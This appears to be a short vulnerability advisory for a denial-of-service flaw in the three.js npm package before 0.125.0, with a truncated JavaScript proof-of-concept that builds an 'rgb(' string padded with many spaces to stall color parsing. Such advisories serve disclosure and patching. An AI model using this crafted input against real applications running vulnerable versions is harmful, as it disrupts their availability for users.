Description

Denial of service in three This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.

PoC:

var three = require('three')
function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "";
}...
Show more

Mitigation

Aliases

References